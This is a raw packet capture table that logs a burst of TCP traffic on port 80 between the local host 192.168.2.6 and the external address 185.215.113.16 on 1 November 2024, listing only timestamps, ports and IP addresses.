Nov 1, 2024 03:45:25.205049038 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.205076933 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.205076933 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.205105066 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.205142021 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.205157042 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.205172062 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.205229044 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.205298901 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.205313921 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.205328941 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.205346107 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.205354929 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.205360889 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.205393076 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.205529928 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.205543995 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.205559015 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.205605030 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.205682993 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.205697060 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.205712080 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.205719948 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.205728054 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.205749035 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.205765009 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.205768108 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.205768108 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.205780983 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.205795050 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.205800056 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.205876112 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.206012964 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.206027985 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.206042051 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.206058025 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.206094980 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.206111908 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.206144094 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.206229925 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.206244946 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.206259966 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.206274033 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.206285000 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.206295013 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.206321955 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.206321955 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.206520081 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.206537962 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.206552982 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.206568956 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.206583977 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.206593037 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.206593037 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.206599951 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.206618071 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.206634045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.206650019 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.206698895 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.206903934 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.206918955 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.206933975 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.206948996 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.206963062 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.206975937 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.206979990 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.206995010 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.207010031 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.207010031 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.207216978 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.207231998 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.207247019 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.207261086 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.207277060 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.207290888 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.207298040 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.207307100 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.207320929 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.207331896 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.207346916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.207361937 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.207365036 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.207379103 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.207395077 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.207411051 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.207413912 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.207453012 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.207623005 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.207814932 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.207829952 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.207845926 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.207860947 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.207875967 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.207890034 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.207895041 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.207906008 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.207910061 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.207921982 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.207930088 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.207946062 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.207959890 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.207978010 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.208090067 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.208278894 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.208293915 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.208300114 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.208323002 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.208367109 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.208381891 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.208396912 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.208414078 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.208422899 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.208436966 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.208439112 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.208455086 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.208471060 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.208503962 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.208503962 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.208585978 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.208744049 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.208760023 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.208775043 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.208791018 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.208806992 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.208849907 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.208985090 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.209948063 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.230472088 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.230521917 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.230525017 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.230537891 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.230612040 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.253007889 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.253022909 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.253038883 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.253053904 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.253112078 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.253115892 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.253132105 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.253156900 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.253165007 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.253180027 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.253230095 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.253268003 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.253283024 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.253293991 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.253298998 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.253314018 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.253335953 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.253415108 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.253555059 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.253602982 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.253617048 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.254070997 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.299140930 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.299158096 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.299175024 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.299200058 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.299202919 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.299221039 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.299233913 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.299626112 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.319988966 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320044994 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320059061 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320123911 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320138931 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320158958 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.320194960 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320210934 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320230007 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.320305109 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320317984 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320333004 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320358038 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.320358038 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.320413113 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320427895 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320453882 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320467949 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320494890 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.320496082 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.320550919 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320566893 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320574045 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.320583105 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320650101 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.320698977 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320714951 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320729971 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320745945 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320780993 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.320791006 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.320842028 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320854902 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320945024 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.320950031 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320966005 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.320986986 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.321002007 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.321016073 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.321021080 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.321043968 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.321144104 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.321191072 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.321206093 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.321221113 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.321237087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.321252108 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.321266890 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.321284056 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.321341038 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.321341038 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.321341038 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.321461916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.321476936 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.321491003 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.321513891 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.321537018 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.321537018 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.321603060 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.321671009 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.321686029 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.321700096 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.321716070 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.321732044 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.321751118 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.321751118 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.321939945 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.321981907 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.321995974 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322010994 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322040081 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322053909 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322062016 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322074890 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322089911 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.322092056 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322101116 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.322108030 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322123051 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322138071 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.322148085 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322163105 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322175980 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.322208881 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.322527885 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322540045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322555065 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322570086 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322582960 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322598934 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322607994 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.322633028 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.322633028 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.322812080 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322828054 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322843075 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322858095 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322874069 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322889090 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322902918 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.322902918 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.322911978 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322927952 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322937012 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.322945118 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.322962046 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.323060036 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.323182106 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.323196888 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.323213100 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.323240995 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.323357105 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.323371887 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.323385954 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.323402882 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.323405027 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.323417902 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.323426008 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.323435068 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.323447943 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.323450089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.323466063 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.323478937 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.323493004 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.323508978 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.323523045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.323533058 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.323533058 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.323533058 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.323538065 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.323601007 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.324115038 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.324130058 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.324145079 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.324160099 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.324177027 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.324191093 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.324207067 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.324217081 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.324217081 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.324217081 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.324222088 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.324239016 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.324253082 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.324269056 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.324275017 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.324275017 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.324285984 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.324301958 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.324316025 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.324335098 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.324335098 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.324449062 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.345871925 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.345902920 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.345916986 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.345926046 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.346090078 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.368307114 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.368338108 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.368350983 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.368402958 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.368412971 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.368417025 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.368446112 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.368458033 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.368483067 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.368494987 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.368510008 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.368530989 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.368550062 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.368572950 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.368587971 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.368609905 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.368632078 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.368699074 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:25.368870974 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:25.368936062 CET	80	49750	185.215.113.16	192.168.2.6
